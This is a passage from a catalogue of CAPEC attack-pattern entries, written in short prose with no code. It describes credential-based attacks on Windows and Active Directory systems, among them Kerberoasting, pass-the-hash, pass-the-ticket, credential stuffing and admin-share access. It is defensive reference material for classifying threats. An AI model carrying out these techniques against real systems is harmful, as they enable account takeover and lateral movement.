Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-555: Remote Services with Stolen Credentials
This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.
CAPEC-560: Use of Known Domain Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.
CAPEC-561: Windows Admin Shares with Stolen Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.
CAPEC-600: Credential Stuffing
An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.
CAPEC-644: Use of Captured Hashes (Pass The Hash)
An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.
CAPEC-645: Use of Captured Tickets (Pass The Ticket)
An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.
CAPEC-652: Use of Known Kerberos Credentials
An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.
CAPEC-653: Use of Known Operating System Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.